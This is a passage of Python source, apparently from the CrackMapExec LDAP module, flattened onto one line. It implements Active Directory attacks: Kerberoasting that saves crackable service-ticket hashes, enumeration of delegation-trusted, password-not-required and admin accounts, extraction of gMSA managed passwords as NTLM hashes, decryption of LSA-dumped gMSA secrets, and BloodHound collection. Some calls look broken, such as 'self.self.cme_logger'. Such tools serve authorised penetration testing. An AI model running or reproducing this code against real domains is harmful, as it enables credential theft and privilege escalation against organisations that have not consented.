str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: self.logger.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation]) except Exception as e: cme_logger.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.logger.display('Total of records returned %d' % len(answers)) TGT = KerberosAttacks(self).getTGT_kerberoasting() dejavue = [] for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: if sAMAccountName not in dejavue: downLevelLogonName = self.targetDomain + "\\" + sAMAccountName try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName) self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon)) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') dejavue.append(sAMAccountName) except Exception as e: self.logger.debug("Exception:", exc_info=True) cme_logger.error('Principal: %s - %s' % (downLevelLogonName, str(e))) return True else: self.logger.highlight("No entries found!") return self.logger.fail("Error with the LDAP account used") def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) answers = [] self.logger.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.logger.debug(answers) for value in answers: self.logger.highlight(value[0]) else: self.logger.fail("No entries found!") return def password_not_required(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: self.logger.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=0) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: self.logger.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] self.logger.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 status = 'enabled' lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': if int(attribute['vals'][0]) & 2 : status = 'disabled' userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status]) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.logger.debug(answers) for value in answers: self.logger.highlight("User: " + value[0] + " Status: " + value[5]) else: context.log.fail("No entries found!") return def admin_count(self): # Building the search filter searchFilter = "(adminCount=1)" attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) answers = [] self.logger.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.logger.debug(answers) for value in answers: self.logger.highlight(value[0]) else: context.log.fail("No entries found!") return def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = '(objectClass=msDS-GroupManagedServiceAccount)' gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter, attributes=['sAMAccountName', 'msDS-ManagedPassword','msDS-GroupMSAMembership'], sizeLimit=0, searchBase=self.baseDN) if gmsa_accounts: answers = [] self.logger.debug('Total of records returned %d' % len(gmsa_accounts)) for item in gmsa_accounts: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' passwd = '' for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) if str(attribute['type']) == 'msDS-ManagedPassword': data = attribute['vals'][0].asOctets() blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob['CurrentPassword'][:-2] ntlm_hash = MD4.new () ntlm_hash.update (currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight("Account: {:<20} NTLM: {}".format(sAMAccountName, passwd)) return True def decipher_gmsa_name(self, domain_name=None, account_name=None): # https://aadinternals.com/post/gmsa/ gmsa_account_name = (domain_name + account_name).upper() self.self.cme_logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") bin_hash = hmac.new(bytes('' , 'latin-1'), msg = bin_account_name, digestmod = hashlib.sha256).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: str_hash += hex_letters[b & 0x0f] str_hash += hex_letters[b >> 0x04] self.self.cme_logger.debug(f"Hash2: {str_hash}") return str_hash def gmsa_convert_id(self): if self.args.gmsa_convert_id: if len(self.args.gmsa_convert_id) != 64: context.log.fail("Length of the gmsa id not correct :'(") else: # getting the gmsa account search_filter = '(objectClass=msDS-GroupManagedServiceAccount)' gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter, attributes=['sAMAccountName'], sizeLimit=0, searchBase=self.baseDN) if gmsa_accounts: answers = [] self.logger.debug('Total of records returned %d' % len(gmsa_accounts)) for item in gmsa_accounts: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id: self.logger.highlight("Account: {:<20} ID: {}".format(sAMAccountName, self.args.gmsa_convert_id)) break else: context.log.fail("No string provided :'(") def gmsa_decrypt_lsa(self): if self.args.gmsa_decrypt_lsa: if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: gmsa = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") gmsa_id = gmsa[0] gmsa_pass = gmsa[1] # getting the gmsa account search_filter = '(objectClass=msDS-GroupManagedServiceAccount)' gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter, attributes=['sAMAccountName'], sizeLimit=0, searchBase=self.baseDN) if gmsa_accounts: answers = [] self.logger.debug('Total of records returned %d' % len(gmsa_accounts)) for item in gmsa_accounts: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == gmsa_id: gmsa_id = sAMAccountName break # convert to ntlm data = bytes.fromhex(gmsa_pass) blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob['CurrentPassword'][:-2] ntlm_hash = MD4.new () ntlm_hash.update (currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight("Account: {:<20} NTLM: {}".format(gmsa_id, passwd)) else: context.log.fail("No string provided :'(") def bloodhound(self): auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method='auto') ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3) collect = resolve_collection_methods('Default' if not self.args.collection else self.args.collection) if not collect: return self.logger.highlight('Resolved collection methods: %s', ', '.join(list(collect))) self.logger.debug('Using DNS to retrieve domain information') ad.dns_resolve(domain=self.domain) if self.args.kerberos: self.logger.highlight("Using kerberos auth without ccache, getting TGT") auth.get_tgt() if self.args.use_kcache: self.logger.highlight("Using kerberos auth from ccache") timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" bloodhound = BloodHound(ad, self.hostname, self.host, self.args.port) bloodhound.connect() bloodhound.run( collect=collect, num_workers=10, disable_pooling=False, timestamp=timestamp, computerfile=None, cachefile=None, exclude_dcs=False ) self.logger.highlight("Compressing output into " + self.output_filename + "bloodhound.zip") list_of_files = os.listdir(os.getcwd()) with ZipFile(self.output_filename + "bloodhound.zip", 'w') as z: for each_file in list_of_files: if each_file.startswith(timestamp) and each_file.endswith("json"): z.write(each_file) os.remove(each_file)